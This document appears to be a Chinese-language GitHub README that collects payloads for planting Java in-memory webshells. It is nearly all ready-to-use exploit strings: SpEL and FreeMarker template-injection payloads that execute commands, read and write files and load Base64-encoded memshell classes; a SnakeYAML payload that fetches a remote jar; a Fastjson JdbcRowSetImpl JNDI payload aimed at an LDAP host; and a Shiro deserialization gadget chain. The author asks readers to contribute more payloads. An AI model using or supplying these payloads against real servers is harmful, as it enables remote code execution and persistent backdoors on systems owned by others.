└── README.md /README.md: -------------------------------------------------------------------------------- 1 | # Memoryshell-JavaALL 2 | 收集内存马打入方式 3 | 4 | ## SPEL 5 | 6 | 不加模板解析的payload 7 | ``` 8 | T(java.lang.Runtime).getRuntime().exec("calc") 9 | new+java.lang.ProcessBuilder("cmd","/c","Calc").start() 10 | ``` 11 | 加模板解析的payload 12 | ``` 13 | #{new java.lang.ProcessBuilder({'calc'}).start()} 14 | ``` 15 | 可以回显时使用 16 | ``` 17 | new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine() 18 | ``` 19 | 可以打入内存马高版本Spring Core 受限 20 | ``` 21 | #{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()} 22 | ``` 23 | 使用JNDI 注入利用 在Springboot 中不适用,因为它会程序启动时初始化InitialContext 24 | ``` 25 | #{T(java.lang.System).setProperty('com.sun.jndi.ldap.object.trustURLCodebase', 'true')} 26 | #{new javax.management.remote.rmi.RMIConnector(new javax.management.remote.JMXServiceURL("service:jmx:rmi://127.0.0.1:1389/jndi/ldap://127.0.0.1:1389/Basic/Command/Calc"), new java.util.Hashtable()).connect()} 27 | ``` 28 | ## FreeMarker 29 | 30 | 执行命令 31 | ``` 32 | ${"freemarker.template.utility.Execute"?new()("id")} 33 | ${"freemarker.template.utility.Execute"?new()("Calc")} 34 | <#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")} 35 | ``` 36 | 写文件 37 | ``` 38 | ${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileWriter","/tmp/hh.txt").append("<>").close()} 39 | ``` 40 | 读文件 41 | ``` 42 | <#assign+value="freemarker.template.utility.ObjectConstructor"?new()("java.io.FileReader","C:\\Temp\\test.txt")>${"freemarker.template.utility.ObjectConstructor"?new()("java.util.Scanner",value).useDelimiter("\\Aasd").next()} 43 | ``` 44 | 使用SPEL利用 45 | ``` 46 | ${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc\")").getValue()} 47 | ``` 48 | 使用SPEL 进行JNDI 49 | ``` 50 | ${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("new+javax.management.remote.rmi.RMIConnector(new+javax.management.remote.JMXServiceURL(\"service:jmx:rmi://127.0.0.1:1389/jndi/ldap://127.0.0.1:1389/Basic/Command/Calc\"),new+java.util.Hashtable()).connect()").getValue()} 51 | ``` 52 | 使用SPEL 加载内存马 53 | ``` 54 | ${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringInterceptor',T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADQA5。。。\"),new+javax.management.loading.MLet(new+java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()").getValue()} 55 | ``` 56 | 使用Jython 57 | ``` 58 | <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe") 59 | ``` 60 | ## YAML 61 | 62 | ftp 可以换为HTTP 及其他支持协议 63 | ``` 64 | !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ftp://127.0.0.1:8000/yaml-payload4.jar"]]]] 65 | ``` 66 | 67 | 不出网时: 68 | 69 | 感觉搭配C3P0 得方式还是没有这种带来的安全感足 70 | 71 | ScriptEngineManager(目前比较通用的一种方式,思路也比较好。同时拓展一下如果可以通过反序列化落地,那如果拥有上传接口也可以通过上传落地再进行加载。) 72 | 73 | 第一步:通过反序列化实现文件落地 74 | 75 | 第二步:加载本地文件内容 76 | 77 | ``` 78 | 复现链接:https://xz.aliyun.com/t/10655 79 | ``` 80 | 81 | ## Fastjson 82 | 83 | ``` 84 | { 85 | "a":{ 86 | "@type":"java.lang.Class", 87 | "val":"com.sun.rowset.JdbcRowSetImpl" 88 | }, 89 | "b":{ 90 | "@type":"com.sun.rowset.JdbcRowSetImpl", 91 | "dataSourceName":"ldap://xx.xx.xx.xx:9102/123", 92 | "autoCommit":true 93 | } 94 | } 95 | ``` 96 | 97 | ## Shiro Cookie 过长? 不防看看这种方法 98 | 熟悉得师傅一下就可以看出内存马怎们打了吧 99 | ``` 100 | final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); 101 | final PriorityQueue queue = new PriorityQueue(2, comparator); 102 | queue.add("1"); 103 | queue.add("1"); 104 | Reflections.setFieldValue(comparator, "property", "parameterMetaData"); 105 | JdbcRowSetImpl test = new com.sun.rowset.JdbcRowSetImpl(); 106 | test.setDataSourceName("ldap://823s64b3.dns.1433.eu.org."); 107 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 108 | queueArray[0] = test; 109 | return queue; 110 | ``` 111 | ------------------------------------------------------------------------------------ 112 | 各位师傅有建议及其他Payload 带带弟弟啊 113 | 未完待续..... 114 | --------------------------------------------------------------------------------